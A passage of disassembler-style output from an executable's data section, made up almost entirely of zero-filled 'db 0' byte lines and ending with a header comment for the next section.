		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_data		ends

; Section 4. (virtual address 00020000)
; Virtual size			: 00007000 (  28672.)
; Section size in file		: 00007000 (  28672.)
; Offset to raw	data for section: 00020000
